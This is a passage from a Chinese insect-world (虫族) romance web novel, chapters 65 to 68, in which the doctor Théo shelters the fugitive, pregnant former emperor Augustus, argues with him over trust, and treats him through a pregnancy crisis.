检查完四周,西奥看了看时间,刚到中午,便顺路去了一趟驿站。 说是驿站,其实更像是各种物资的聚集中心,有不少的合法非法的交易在这里进行。这段时间西奥为了非法行医,各种医疗用具也都是从这里购买的。 “哟,法斯曼医生,又来进货啊?”驿站的老板是个雌虫,少了一只耳朵,所以大家都叫他一只耳。 但西奥是看过黑猫警长的人,坚决不叫。“老板,有没有阿巴斯试剂?” “有。还是老样子,来两瓶?” 西奥犹豫了一下,“多来几瓶吧!” 一只耳挑眉,看向西奥,“这个药可不便宜啊!” “我付的起。”他从皇宫离开的时候,腰上还是缠了不少金条的。 “我当然直到您付得起,您可是默兹力的虫啊!” 不,其实我是他的崽。西奥面无表情地想。 一只耳一边找药,一边聊天,“所以你也是星盗吗?但是感觉又不太像。” “法斯曼医生,我太好奇了,你到底是什么来头啊?” 西奥接过装药的袋子,付了钱,然后冲老板招招手,对方立刻附耳过来,“不该打听的问题就不要打听。没听说过一句话,叫好奇心害死猫吗?” “你觉得默兹力的星舰,把你这个小小的驿站给灭掉,需要多少功夫?” 一只耳顿时有些讪讪,后退道:“不问了不问了,您厉害!您牛逼!” “你看看钱对不对?” “对的对的。”一只耳根本没看,把现金往兜里一揣,钻到一排排货架深处去了,“对了,这里还有一份你的邮件,是默兹力给的。” 西奥接过来,掂了掂,大概猜到这是什么了。应该是上次的图像出来了。 “谢了。” “不用谢,您走好!” 西奥其实也不想这样。他本来是个懂礼貌的好雄虫,但奈何,这颗偏僻的星球实在太过民风淳朴。要不是默兹力给他撑腰,在他被坑的时候出头摆平了一众地头蛇,又仗着医术确实还行,他说不定一落地就要被直接当成大礼包瓜分了。 对待不同的虫,就要有不同的态度。这一点,西奥学的很快,因为默兹力确实是个好老师。所以,对待这个刚认识就骗了他一大笔钱的驿站老板,西奥觉得自己态度已经非常友好了。 说不定,星盗的基因确实在他的血液里流淌。 再说了,那是他的雌父,偶尔仗点势怎么了?! 等西奥拿着试剂回家,才发现门口已经蹲着一个雌虫了。是文森特。 年轻的雌虫在门口蹲成一个球,正在地板上的水坑里画着什么,听到西奥的脚步声,腾的一下站起来,“法斯曼医生回来啦!” “文森特?你怎么过来了?”西奥下意识把装试剂的袋子往后藏了一下。文森特是个好虫虫,但就是好奇心有点旺盛。 “医生不是答应了,今天晚上要一起吃饭吗?” “但是现在还不到晚上啊。” “医生今天没有去诊所,我很担心。”文森特一脸担忧的看着他,“要是想刚来的时候那样,被坏虫骗走了怎么办!” “如果法斯曼医生走了的话,以后我牙疼就找不到虫来帮忙治了!” 没错,西奥来到这颗星球之后,接诊的第一个病患就是文森特。当时他有一颗臼齿已经烂得不像样子了,西奥只是用钳子帮他拔了下来,就获得了这个年轻的雌虫全身心的信任和感激。 后来接触一段时间,西奥也意识到文森特的智商应该有一点问题,即便外形已经成年了,心智却仍然像是个小虫崽。 怪可爱的。 “你放心吧,我暂时不会走的。如果要走的话,我肯定第一个告诉文森特!”西奥安慰道。 “哥哥还说,昨天在你房前看到了血迹。”没错,文森特之所以哪怕心智不太健全,却仍然能够在这个片区活得很好的原因,就是因为他的哥哥就是这里的治安官。 “对,有时候会有一些伤的很重的病患,来找我治疗。” 文森特点点头,“我还想看看潘德兽,它好了吗?” “它……挺好的。”西奥这才想起来昨天被奥古斯特那一通折腾,完全忘记了照顾受伤的潘德兽。他赶紧打开门锁,然后又想起奥古斯特还在里面,不知道现在是什么状态。 “文森特,我的房间有点乱。”刚开了一点的门又被重新合上了,“我先进去收拾一会儿,再让你进来,好吗?” 还没等文森特答应,西奥就鱼一样从狭窄的门缝里溜进去了。 然后迅速关上了门。阻挡了雌虫好奇的目光。 “奥古斯特?” 客厅和卧室表面看起来都空无一虫,听到西奥的声音,奥古斯特才从卫生间里走了出来。 “他没进来?” 然后西奥就发现雌虫根本什么都没有穿。只在胯部围了一个床单一样的东西。 西奥先是立刻被漂亮的缠绕着绷带的饱满肌肉吸引了目光。尤其是在白天光线更为充足的情况下,胸肌甚至在上腹部投出了清晰的曲线和阴影。然后意识到自己在看什么之后又迅速挪开。 “你!为什么不穿衣服?!”甚至为了避嫌,他还抬手挡了一下。 “你昨晚把我的衣服全都剪了。”奥古斯特说,“你的衣服又太小,我穿不上。” 哦,对,忘记这回事情了。有那么一瞬间,西奥甚至还以为这是对方故意为之。 西奥赶紧从衣橱里面找出一件比较宽松的长袍,丢给奥古斯特,“试试这个。” 虽然宽松的衣服到了雌虫身上已经变成了一件非常紧身的、而且根本没有办法系上的外套,但好歹比之前要好不少了。 “门外的那个雌虫,”奥古斯特问,“你们很熟悉吗?” “算是吧,他经常来家里玩儿。他挺喜欢找我玩儿的。” “那只受伤的潘德兽,也是他带来的?” 被提醒了,西奥才赶紧过去检查一下家里小动物的情况。粮食还有不少,水也是满的。潘德兽和科特鼠茅斯都过得还不错。 “我已经给它们加过水和食物了。”奥古斯特解释道。 “谢谢。” “那个雌虫,他叫文森特对吧。他要邀请你去吃晚饭?” 西奥终于发现奥古斯特在关于文森特的事情上特别关注,确切来说,有点过头了。 “对,没错,我们要一起共进晚餐,早就说好了。”西奥检查了一下潘德兽的骨折情况,确认支架没有任何移位,把笼子关好后,转过身面对着穿着紧身长袍的雌虫。 军雌身上也有好几处因为受伤而固定的绷带,让本就紧身的外套下面凸起来好几块,显得格外滑稽。西奥看着穿成这样的军雌,忍不住有点想笑。以往一直穿着板正军装的奥古斯特,哪有过这样的待遇! 嘴角最后还是没有压住,翘起来了。好在没有直接笑出声。 “他知道你是雄虫吗?”奥古斯特继续问。 “不,他以为我只是一个平平无奇的亚雌医生。” “即便是亚雌,也不应该……”奥古斯特顿了一下,“去他家吃晚饭,你很高兴吗?” 另一边努力忍住笑,正打算抽血给自己做检测的西奥突然意识到了什么,奥古斯特的这个表现,似乎大概可能很像是……吃醋? 说实话,在这之前西奥就没有想到奥古斯特还会有吃醋的一天,他不应该永远高高在上吗?还是说,地位的跌落,终于让曾经不可一世的虫皇体会到一个普通虫的情感了吗? 西奥叹了一口气,“对,没错,我很高兴。因为我很喜欢他,说不定我们以后还会发展出别的关系。” 比如,兄弟或者父子关系。 “不过,这跟你又有什么关系呢?我们之间的一切都已经结束了。你也说了,我曾经是你的雄主,但现在不是了。” 雌虫脸上的错愕是如此明显,让西奥终于品尝到一点报复的快感。 “现在,请你继续躲回卫生间里。因为我还有客虫要招待。” 作者有话说: 预收搞了个新封面!感谢基友! 以及如果还有在看的小伙伴请来呼噜一下作者的头毛吧!刚剪了新发型哦!【低头】 第66章 第66章喜欢[VIP] 说完那些话以后, 西奥期待着奥古斯特的反击。 但最终雌虫什么都没有说,只是定定的看了他一眼,然后就按照他说的转身往卫生间走去。 卫生间跟卧室连通着, 他还顺便关上了卧室的门。就连关门的力道都没有重一点。 像是一拳打在棉花上,感觉糟透了。 西奥本来还想解释点什么, 看到他的态度后, 话到嘴边又咽下去了。 算了, 他们现在乱七八糟的, 或许什么都不说比较好。 然后就是例行的抽血检测。阿巴斯试剂有个很妙的特性, 就是可以跟硅单晶体结合, 染出非常漂亮的蓝绿色。所以在医学上, 可以用来作为布氏感染的辅助检测手段。 不过一般来说,能够在血液里检测到硅晶体,代表已经是布氏感染的终末期, 大部分虫到这个阶段已经死了。 西奥屏住呼吸,三十秒后, 反应液体仍然是一片红色,没有任何变蓝变绿的迹象。 他的肩膀放松下来, 长长舒了口气。 奥古斯特在很多事情上都对他撒了谎, 但至少有一件事情, 是真的。那就是他的大脑成像图片里面的确出现了大片的雪花状蔓延。就算让西奥来判断,他也一样会认为这是布氏感染的患者。 西奥再次打开那个默兹力给他寄过来的信封,里面是一张脑部成像图, 拍摄时间是一周前。他把之前的片子拿出来,一起放到灯下, 仔细对比。 没有任何进展。 那些雪花状的蔓延图案,似乎变成了一道旧疤, 诉说着曾经感染的事实。阿巴斯试剂的测试也一样,显示他依旧没有任何感染性。就像以前一样。 亏他昨晚还那么紧张,让奥古斯特把信息素吐出来,看来根本没必要! 但小心总归驶得万年船。他现在的状况有点奇怪,类似于感染后已经痊愈的状态。如果他还在研究院工作,就凭这一个案例报告就能发一篇不错的文章。 嘶……快别想了,研究院这辈子恐怕回不去了。 西奥强迫自己回到现实。但他总归还是担心的。因为没有先例,因为情况特殊,万一出现变化呢?万一只是暂时进入窗口期呢?他非常希望能够狂揍一顿奥古斯特出出气,但是如果连累他感染布氏病毒,那……他绝不会原谅自己的。 而且这段时间,他身上并没有太多的变化。 不,非要说的话,还是有个最明显的变化的。 那就是,“系统”消失了。 伴随着系统一同消失的,还有他右眼的视力。 西奥抬起一只手,挡住自己的左眼,视野顿时变得黯淡而模糊。比刚离开首都的时候,恢复了一点,但不多。看东西还是很费劲。早知如此,就不该借用“系统”的帮助了。这就是让它掌控视野的代价啊! 好在,现在单眼视力也还够用。 西奥把东西都收好,然后才打开门,把蹲在门外等了好一会儿的文森特放了进来。 雌虫一进门,就立刻跑去找潘德兽和科特鼠。他打开笼子,把受伤的潘德兽托在掌心里。小东西大概是还记得他的气味,也很乖巧,一动不动。趴在那里撅着屁股翘着伤腿,瞪着黑眼睛看他。 没有人、没有人能够拒绝一只软软糯糯的迷你熊猫! 虫也不行。 “他有名字吗?”文森特一边玩潘德兽,一边问。 “还没有,你要给他起一个吗?” 文森特歪着头想了想,“叫断腿?” 西奥:“……” 幸亏文森特的名字不是他自己取的,否则岂不是要变成小傻瓜?或者,小可爱? “我觉得这不太好吧?而且,起了名字会有感情的哦!”西奥用指尖碰碰潘德兽柔软的耳尖,“等伤好了,你打算一直养着它吗?毕竟是野生的潘德兽,还是放归自然比较好。” “唔……”文森特正陷入沉思的时候,卧室里突然传出咚!的一声,像是什么重物落到地上的声音。 “嗯?房间里也有小动物吗?”文森特立刻被声音吸引了注意力,抱着潘德兽一扭身就往卧室去了。 “哎?等一下!”西奥赶紧阻止,也不知道奥古斯特在里面干嘛了。但直觉告诉他,最好还是不要让两个雌虫在这里见面的好。 但很可惜,他的动作远比不上文森特的快,只能眼睁睁看着对方鱼一样从他手边溜走,径直打开了卧室的门。 “啊!” 空气在一瞬间凝固。 小小的卧室内,奥古斯特没有穿衣服,大概是因为那个长袍实在太勒了,只用被子盖住半拉身.体,似乎正要到床上藏起来。 “啊,”文森特非常失望,然后精准找到了重点,“没有小动物。” “文森特,我跟你说过了,我不是兽医。”西奥扶额。 但文森特完全没听,“只有个虫,还是雌虫。” 奥古斯特也僵了一瞬,但是虫皇毕竟见过大世面。他一言未发,只是缓慢的用被子把自己裹紧,然后躺在了床上,试图装死。 或者装睡? 但是文森特残忍打破了他的幻想,“你好,我叫文森特!是法斯曼医生的朋友!” 奥古斯特沉默片刻,“你好,我是……” “你没穿衣服哎!”话没说完,就被文森特打断了。雌虫一脸震惊,似乎刚刚意识到这件事,然后谴责,“怎么能不穿衣服就去别虫家里呢?哥哥说了,这样很不礼貌……” “不,不对。法斯曼医生还是亚雌,你们不是一个性别的,这是犯罪!” 看起来,治安官对于违法犯罪的教育倒是十分细致。 “呃……”西奥结结巴巴,正想着要怎么跟文森特解释,“其实他是……” “哦!我知道了!”文森特一脸恍然大悟,“你在给法斯曼医生暖被窝!” 西奥简直想要大笑,尤其是看到奥古斯特那一副吃瘪、困惑、又不好发作的表情。原来打败一个虫皇,竟然这么简单! “我待会要请法斯曼医生去家里吃饭,你要一起吗?”文森特甚至蹲下来,凑到了奥古斯特眼前,“我做的松鼠鱼超级好吃哦!今天哥哥钓到了一条大的!” “不,不用了。谢谢你,文森特。”奥古斯特拒绝了。他现在毕竟是通缉犯,当然不敢大白天出去晃悠。 “那你要摸摸我的潘德兽吗?超级软哦!” 这次奥古斯特没有拒绝。他伸出手,没有缠着绷带夹板的那只手,指尖轻轻落在了受伤的潘德兽头顶,温柔地蹭了两下。 “好摸吧?” 奥古斯特同样没有办法拒绝柔软的毛茸茸,点了点头,“它叫什么名字?” “断腿。” “不,我们还没有给它起名字。”西奥赶紧解释。 不管怎么说,或许是得益于文森特超级无敌的社交能力,两个雌虫一个潘德兽很快玩到了一起去,仿佛刚才见面那个瞬间的尴尬只是个错觉。 甚至面对文森特有点无聊的问题,奥古斯特也非常有耐心地认真回答了。 “为什么我要把潘德兽还回去?我不能做它的雌父吗?” “因为你是雌虫,不是潘德兽。未成年的潘德兽需要跟他的族群呆在一起。” “那咋了?它在自己族群里都受伤了,是我救了它。”文森特想了想,补充道,“是我把它交给法斯曼医生,然后一起救了它。” 奥古斯特思索片刻,“潘德兽可是吃竹子的哦。” 一听这话,文森特脸顿时垮下来了,“可是,可是文森特需要吃肉才能活呀……” 一番交谈下来,居然还真的劝动了文森特放归这只潘德兽。 某种程度上,奥古斯特对付小虫崽其实很有一套。 只可惜…… 晚饭时间很快到了,文森特依依不舍地告别新交的朋友,还顺便夸了一句,“你眼睛的蓝色,好好看哦!” 然后又把潘德兽放回笼子里,“断腿,你要好好吃饭,好好睡觉,好好养伤!” 两个虫一起离开西奥的家,前往文森特的家的时候,雌虫突然说,“你喜欢那个蓝眼睛雌虫吧,法斯曼医生?” 西奥有点惊讶地看向他,下意识否定了,“胡说什么呢?他只是我的病患。因为伤的比较重,又怀蛋了,所以暂时留在我家休养而已。” 文森特若有所思的点了点头,“法斯曼医生的确是个好虫呢!对每个病患都尽心尽力。” 西奥点头同意。 “但是你看其他病虫的时候,并不会像看他的时候,一边看着,一边笑出来。而是皱着眉,表情很凶、很发愁的样子。”文森特继续说,“所以我觉得你就是喜欢他。” “就像哥哥喜欢我一样。” 西奥脸上的笑意淡去了。 “就像我喜欢松鼠鱼一样!” 西奥脸上的笑意又加深了。 “对了,蓝眼睛军雌的事情,能不能别跟你哥哥说?我怕他担心。” 松鼠鱼大概是文森特唯一能拿得出手的一道菜。但他的确做得很好吃。这道菜工序还挺复杂,要先蒸熟,再将鱼肉切开,然后要分别用不同温度的油炸两遍,才能保证出锅的时候外焦里嫩,酥脆生香。 菜还没上桌,西奥的口水已经要流出来了。 美食总可以治愈虫生。 这顿晚饭不光有文森特和西奥,还有文森特的哥哥,这个片区的治安官维克多。大家都挺熟悉的,所以还算其乐融融。 维克多甚至还提醒他,最近新任虫皇似乎派了军队到附近星系巡逻,非法行医的时候一定要注意安全。 虽然,维克多之所以帮忙,很大程度上也是因为默兹力的关系。毕竟这里太过偏僻,天高皇帝远,一个星盗首领的影响力,恐怕要远大于虫皇。 但西奥还是真心感激对方,“谢谢。”毕竟帮助都是实打实的。要是没有他,小诊所在这里立足没那么容易。 晚饭非常愉快,西奥甚至还打包了一部分带走。说起来今天也一天没有在家里吃饭了,虽然有食材,但是奥古斯特手不方便,大概只能吃些饼干或者营养液之类的垫垫肚子。 这鱼,算便宜他了。 望着西奥远去的背影,维克多揉了揉文森特的脑袋,“走吧,回家了。” “以前也没见法斯曼打包过什么吃的回家,今天这是怎么了?” 这只是随口一问,却不想文森特接道:“大概为了投喂家里的雌虫吧!” “法斯曼家里有个雌虫?” 文森特立刻捂住嘴巴,用力摇头。 “文森特,哥哥跟你说过什么?”维克多握住文森特的手,缓慢地放下来。 “一切都要听哥哥的话。不要隐瞒哥哥任何事情。” “对,所以,你在法斯曼家里,看到了什么?” …… “你是说,那个雌虫有一双特别漂亮的蓝眼睛?” 维克多认真听文森特说完,沉思片刻,然后点开了手环,找到一个文件里的图片,“能不能认真看看,然后告诉哥哥,那个雌虫有没有在这些照片里?” 文森特认真翻看这些照片。它们编号不同,但是都有一个相同的前缀—— 帝国通缉犯。 作者有话说: 文森特真的很可爱呀 第67章 第67章去留[VIP] 等西奥回到家, 天色已黑,雨也基本停了。空气依旧潮湿一片,但他心情倒还不错。 除了带了文森特做的鱼当晚饭, 西奥还顺便给奥古斯特买了一身他能穿的衣服。 质量肯定比不上军装,但至少可以遮挡一二了。不会再猝不及防看到些什么。 打开门, 家中漆黑一片。一个披着床单的身影正安静地坐在黑暗里, 腿上是隐约能看到到轮廓的潘德兽。隔了点距离看去, 稍微有点吓虫。 西奥赶紧开了灯, 视野重新明亮清晰起来, “怎么不开灯?” “你不在家, 开灯太显眼。” 奥古斯特穿衣服吃饭的时候, 西奥就在旁边看着,然后说,“你的眼睛, 阿凯特斯蓝,在这里好像有点显眼。” 这是个偏僻的小行星, 有资格当军雌的虫都很少,更别说拥有阿凯特斯蓝眼睛的了。 “今天文森特看到了, 我有点担心。虽然已经跟他说了要保密, 但这个崽太实诚, 可能会无意间说出来。” “你不考虑遮挡一下吗?” 奥古斯特放下装鱼的饭盒,“你是说,建议我挖出眼球?” 西奥顿时震惊了, “不是!我是说,你能不能戴个美瞳?!” “放心, 我能再生的。但再生的眼睛可能会回到之前的颜色,你或许不会喜欢。” 有时候西奥真的无法理解军雌的神奇脑回路, “我真的只是想说戴个美瞳,或者面具什么的!” “你过去这几个月,是怎么逃脱现任虫皇的层层追捕的?”西奥发自内心的疑问。 “好,我以后会注意。”奥古斯特回避了这个问题。 话题到此结束。等奥古斯特吃完饭,把餐桌上的东西收拾好后,西奥犹豫半天,终于下定决心开口。 “我觉得……你应该离开了。” 听到这话的奥古斯特脸上一片空白,随即变得不安而困惑。在找回自己的精神力之后,西奥好像能够读懂奥古斯特脸上那些细微的表情了。 “是因为今天被文森特看到的事情吗?我很抱歉,我并不知道他是那样的情况。我并不是故意……” “不。”西奥摇摇头,看向面前的雌虫。依旧是那双深邃的蓝眼睛,依旧是令他一秒心动的外表。然后他挪开了视线,看向别处。 “不是因为今天发生的事情。” 奥古斯特再次变得紧张,他的肩膀绷紧,脊背挺直,双手交叉搁在桌面上,仿佛面前的不是西奥,他曾经的雄主,而是一场决定危及存亡的战争,“在你离开之前,曾经问过我,有没有在你失忆之后,动过杀了你的念头……” “是,我承认,确实有。但是那是出于安全的考虑。因为当时的情况很复杂,我并不知道……我不确定你到底有没有感染了布氏病毒。而这同样也是……” “同样也是弗雷德被确诊的疾病。”奥古斯特的话缓慢而艰涩,但他始终没有停止,像是强迫自己一定要把话说完一样,“是,没错,确实是我……是我杀了他。” “因为我不得不,因为当时的情况并没有给我太多选择,而且……”奥古斯特停了一下,“我并不想,但我是虫皇,我必须为了大多数的安全考虑。不是吗?” “我觉得你有必要知道这件事情,知道这背后的真相。我现在没办法对你说谎,所以这些全部是真话。” “我并不是在为自己开脱,我知道、我觉得我应该为此受到惩罚。但是我还是希望,如果你知道这些,或许你会……” “我知道。”西奥说。 奥古斯特愣住了,“你、知道?” “我是说,我能大概猜到。这段时间我也没闲着,通过默兹力那边查到了一点资料,关于当年的托亚扪事件,以及,关于我自己。” “你知道,但仍然要赶我走?”奥古斯特问。 “是因为、因为我杀了弗雷德,还是因为我之前对你……所以你不肯原谅我,在惩罚我,是吗?” “这不是原谅不原谅的问题。”西奥说,“理智上我可以理解你的行为,你是为了更多的利益,因为你是虫皇,你要考虑的事情有很多。” “但是你在我失去精神力和记忆的时候创造了一个真空的谎言环境,就好像……”西奥说,“就好像因为我失去了能力,就不再是跟你平等的个体了。 “不,我从来没有那样想过……” “你从来没有想,但是你的确那样做了。” “你可以杀了弗雷德,因为你有苦衷。你也可以囚禁我,然后限制我的行动,因为你怀疑我被感染了。但是有没有可能,你其实一直都可以选择告诉我。” “但你没有。因为……我不知道,或许是因为你可以那样做,所以就没有。” “你现在会求我,也不是出自真心,只是不得不。是因为你仍然需要我,但是已经不再拥有同样的权力了。” 奥古斯特摇头,痛苦在那双蓝眼睛里浮现。西奥假装没有看到。 “奥古斯特,我承认,我仍然喜欢你,但是我已经没有办法再信任你了。” “我们现在之间的和平,是因为权力地位的调换。但你不可能永远只是一个逃犯。第一军团还在外面,皇家护卫队也没有彻底完蛋。这一切都只是暂时的。”西奥叹气,“迟早有一天你会回到那个位置上,到那个时候,我们之间的关系就会再次……” “对不起,但我真的不想再经历一次了。” “你可以用精神力要求我,就像这次一样,命令我说出真相,我不会反抗的!”奥古斯特说。 “天呐,奥古斯特!你不觉得我必须要用命令才能够从你嘴里得到真相,这个事情本身就非常可笑吗!” “我很抱歉,但我不是虫皇,我不是位高权重的军雌,我很多时候想的并不是如何理智的解决问题,而是想要得到一点点尊重和爱,而你给不了我,你给不了我,你明白吗!” “我……”奥古斯特的表情说明,他完全不明白。沉默片刻后,他只是说:“我要怎么做,你才会允许我留下?” “求你了,看在虫蛋的份上……” 哦,对,他们还有一个虫蛋,所谓爱的结晶。结果到了现在,这也成了一份负累。是他的负担,更是奥古斯特的负担。 “你要不……考虑打掉它?”奥古斯特在过去的三十多年都没有再生育,显然也不是因为不能。现在却怀蛋了,西奥大概能猜到他是什么想法。 这是一个替代品。弗雷德的替代品。 西奥也会想让他留下,如果他们还在一起的话。但事情已经到了现在这个地步,或许这个蛋的存在和到来,已经不合时宜。 他本来没有想这么说,但话到嘴边还是变成了这样。西奥意识到他的眼眶不知何时有些湿润。 而奥古斯特只是震惊的看着他,半晌,才说出一句,“不。” “不,我绝对不会……” 他的话没有说完,像是被什么突然打断了,缓慢垂下头,沉默地坐在那里。 “我知道这是你的身体,你的虫蛋,应该由你自己来做决定。” “那你有没有想过,因为虫蛋你会受很多的限制。你会需要信息素,会没有办法消除标记,还会继续受到我的限制。” “你不可能一辈子都在躲藏,做一辈子的逃犯。你一定会想要办法东山再起,到那时候,或许你也会认可我的观点……” “西奥……”雌虫的身体蜷缩得更紧,后背绷得像是一张拉满的弓。显然他并不喜欢西奥正在说的这些话。 但西奥这次没有被奥古斯特打断,他继续说了下去,“或许等过一段时间,你再回头看,会发现这只是怀孕的副作用,一些激素和精神力波动,还有其他的……” “西、西奥……”其中的一只手蜷缩攥紧,大概正在忍耐着什么。 “我并不希望你现在就做出决定。但是,至少考虑一下好吗?” “西奥!”奥古斯特终于抬起了头,西奥这才发现他的额上布满了冷汗,呼吸急促,脸色苍白。 他的另一只手正放在自己的下腹,“我的肚子,不太对劲……” 那并不是在忍耐怒火,而是在忍耐疼痛。 …草! 西奥赶紧把奥古斯特扶到床上,让他平躺好,解开衣服才发现他的下腹痉挛抽搐得厉害。 该死该死该死! 他尝试揉了几下,都能够感受到腹部肌肉下方的柔软蛋壳,但却对痉挛毫无作用。 奥古斯特抓住了他的袖子,“是……因为信息素。” “我有卡拉汀试剂!”这东西也算是常用药了,西奥家里有不少存货。 “不,不行……”但就在准备给奥古斯特注射的时候,却被他拒绝了,“我试过了,这个不行。必须是你、你的……” “先试试,好吗?” 奥古斯特没再坚持,又或者因为疼痛没办法坚持。任由西奥把药剂注入了他的血管。 西奥从来没见过这个样子的奥古斯特。坠落的时候明明受了很严重的伤,但也没有反应这么大。 西奥轻轻揉着雌虫痉挛的腹部,安抚道:“如果是精神力的问题,只要一两分钟就会起效了。” 但并没有。 十分钟过去了,奥古斯特的腹部依旧起伏得仿佛无法停歇的海浪。雌虫的呻吟变弱了,皮肤滚烫,却出了一层的冷汗。 然后,西奥摸到了血。他脱掉雌虫的衣服,发现是从入口处淌出来的。这是流产先兆。 如果他再不做点什么,奥古斯特会失去他的虫蛋。这个已经成型的、临近生产的、是个麻烦的虫蛋。 “求你了……”奥古斯特握住了他的手腕,乞求道。 西奥看着病床上的雌虫,然后缓慢地抽回了自己的手腕。 作者有话说: 没啥大事。但是大家一定要注意安全和身体啊! 第68章 第68章答案[VIP] 昨天没找到法斯曼医生的病患杜尔西, 今天特地一大清早就来了诊所。却惊讶地发现自己居然不是第一个。 一个身形高大的雌虫已经出现在了诊室内。他戴着口罩和一顶款式老旧的毛呢帽子,让下方的面容变得模糊,只能看清眼睛是最为寻常的黑色。鼻梁大概很挺, 在口罩下面戳出了一个尖锐的角。 同为雌虫,杜尔西不由自主地挺直了身子, 结果发现对方比自己还要高上一截。这代表对方的实力很可能也在自己之上。雌虫的本能受到了挑衅, 产生了一点微妙的危机感。 “你是谁?以前怎么没在附近见过。”杜尔西上下打量这个陌生的雌虫, “好像也没看到哪里有伤口啊?这么早就来诊所, 该不会有别的企图吧?” 然后他撸起袖子, 露出自己胳膊上的伤口。那是一道有些深的划伤, 因为昨天没有及时处理, 现在有些感染红肿。但要是搁在平时,杜尔西根本不会因为这点小伤特地来看医生。 说到底……还是这个新来的亚雌亚雌太好看了。 这个小地方,很少有这么好看的虫。虽然对方背后是默兹力那种凶悍的家伙, 动是不敢动了,但是漂亮温柔的医生, 谁不喜欢多看两眼呢? 这个蒙面的陌生雌虫,也来的这么早, 说不定就是跟自己抱了同样的心思。想到这里, 杜尔西眼神更是有些不善, 下意识把对方当作了自己的竞争对手,“怎么不说话,是不是心虚了?还是不敢说?” “他说不了话。”雌虫还没开口, 倒是法斯曼医生先到了。而且一上来就是替陌生雌虫解围。“他的嗓子坏了。” 见杜尔西依旧一脸怀疑,西奥补充了一句, “他是刚刚逃出来的雌奴。昨天坠落的那架飞船,就是他的。” “嗓子被玩具弄坏了, 不能说话。脸也毁了容,暂时不能见虫。另外浑身上下十几处骨折、烫伤,光处理伤口的耗材费就几千星币了。” 杜尔西一脸震惊地看过去,而陌生雌虫只是点了点头。 “他现在还能站在这里,主要是因为止痛药起了作用。” “但身无分文,付不起医药费,所以临时留在了诊所里帮忙。” “哦对,他还怀了虫蛋,快要生了。” 西奥每说一句,杜尔西脸上的同情就增加一分。等他说完,杜尔西已经从最开始好奇和挑衅的表情,变成了一脸的不忍和心疼。 “别说了,兄弟。”他想拍拍不能说话的哑巴雌虫,以示安慰,但是又怕衣服底下有他看不到的伤口,于是手都抬起来了,却停在了半空,最后隔空做出拍肩的动作,“你也太惨了!” 甚至还往他手里塞了一枚硬币,“给你……给你崽买点吃的吧!” 奥古斯特没法说话,只能沉默地看着这个有点热心的雌虫。 西奥微笑着说,“他说谢谢。” 等帮杜尔西处理好伤口将虫送走,西奥看着沉默帮忙的雌虫,突然有点想笑。 周围没有其他虫,奥古斯特便开口问了一句,“怎么了?” 这个设定是西奥亲自帮他挑选的,叠加了好几层的惨剧buff,的确能够赢得大部分正常虫的同情。所以其实他提出来的时候没有想到奥古斯特会同意。 “不能说话,也不能见虫,你会不会很难受?如果受不了的话,随时可以走。” 这是昨晚他们最终谈定的条件之一。要想留下来,奥古斯特必须接受西奥赋予他的身份和特性。西奥说他是逃跑的雌奴,他就得是。西奥让他往东,他不许往西。让他撵狗,他不许追鸡。 而与此对应的交换是,西奥会在奥古斯特需要的时候,提供信息素。直到虫蛋安全降生为止。 西奥到底还是没能硬下心肠。 但他已经看开了。这个男人,不,这个雌虫就是他命里的劫。总归要渡的。 事已至此,便也只能走一步算一步了。 西奥说要给对方安一个雌奴身份的时候,他真的希望对方会接受不了,直接离开。但他实在低估了一个雌父下定决心要留住自己虫蛋的决心。 “我不会离开的。”奥古斯特答,“而且你让我遮住面容,隐藏声音,难道不是为了避免我被认出来吗?” “你想多了。”西奥小声说。 “好吧。”奥古斯特没有在意,“还有什么别的需要我做的吗,法斯曼医生?” 现在来看,奥古斯特似乎可以为了他的虫蛋做出任何事情。换句话说,不管他提出什么要求,对方都会满足。 于是,一小股坏水在西奥胸口晃荡了两下。 他靠近雌虫,贴在他耳边说,“既然曾经是‘雌奴’,不如做点雌奴该做的事情?” 奥古斯特脸上空白了一瞬,然后下意识看向雄虫,想要辨别这是真的还是玩笑,“你是说……” “我听说雌奴,除了项圈之外是不能穿衣服的。”西奥一脸认真说道。 奥古斯特下意识看了一眼诊所大开的门口,这是一间非常小的工作室,一张办公桌,一些装药剂和耗材的柜子,就已经占了不少空间。靠里的位置有一把椅子和一张病床,也勉强只用布帘遮挡,是为了给病人检查用的。简单来说,只要打开门,这就是个一览无余的小空间。 “有件事情你应该知道,我从来不喜欢被看着。”奥古斯特觉得有必要解释一二,“之前你在家里和办公室发现的摄像头,其实都是……” “都是你用来监控我的?” 奥古斯特点点头。 “猜到了。之前都是我误会了。还有什么别的要说的吗?” 诊所现在没有病患。但这里可能是这颗星球上虫口最为密集的楼栋之一。奥古斯特都能听见隔壁买茶饼的店家讨价还价的声音,以外几米之外走廊上或近或远的脚步声。 如果他真敢以雌奴的打扮待在诊所,被陌生虫看到的概率几乎是百分之一百。 奥古斯特定定看了西奥几秒,接着手指摸上了领口的第一颗扣子,动作利落地解开。然后是第二颗,第三颗…… 就在奥古斯特准备把上身的衬衫脱下,西奥甚至都能看到他有些渗奶的孚乚尖的时候,他慌忙叫了停:“好了,别脱了!我刚才开玩笑的!” 雌虫是真的什么都会做吗?虽说只是次试探,但西奥还是觉得仿佛有什么小爪子,在自己心口挠了一下,痒痒的。 他递过去一块纱布和绷带,“你胸口……先遮一下吧。” 奥古斯特低头看了一眼,才意识到西奥在说什么。他面无表情接过纱布,但是耳廓明显染了一点深红,“谢谢。” “法斯曼医生,救命啊——” 正在这时,又一个病患瘸着腿走进了诊所。 西奥刷的一下拉上了布帘,把奥古斯特圈在里面。 “弄好了出来帮忙!” “剪刀。” 一把剪刀递到手里。正是他需要组织剪。 “纱布。小号的。” 一块尺寸裁剪得恰到好处的长条形纱布递了过来。 不得不说,一上午的工作结束,奥古斯特的表现多少有些让他刮目相看。这些打下手的工作,奥古斯特几乎没有出现任何的失误,自然也顺便提高了一下他看病的效率。 “你之前接受过医学训练?”午休时间吃饭的时候,西奥问道。 “不算是正规的训练,但我在战场上待过。”奥古斯特说,“来找你的病患,好像基本都是外伤。多少有些经验。” “所以你们军雌都会这个?”那还挺厉害的。 奥古斯特沉默片刻,“也不都是。你听说过关于我弟弟的事情吗?” 什么弟弟?西奥愣了一下,然后才回想起来,莫德神兵的雌虫全部都是双胞胎的设定。 很显然,奥古斯特就算有过弟弟,他也没能活到现在。 “没听过。”西奥摇头。 “他对医术比较精通。莫德家族倒台之前,只要我受伤,大多时候都是他来照顾我。”奥古斯特的声音都温柔了下来,“所以我也跟着学了一些。有时候也会像现在跟你这样,帮他打下手。” “后来呢,你弟弟他怎么了?”西奥也有些好奇。 奥古斯特的神情迅速冷寂下来,“他……死了。被莫德神兵杀死的。” 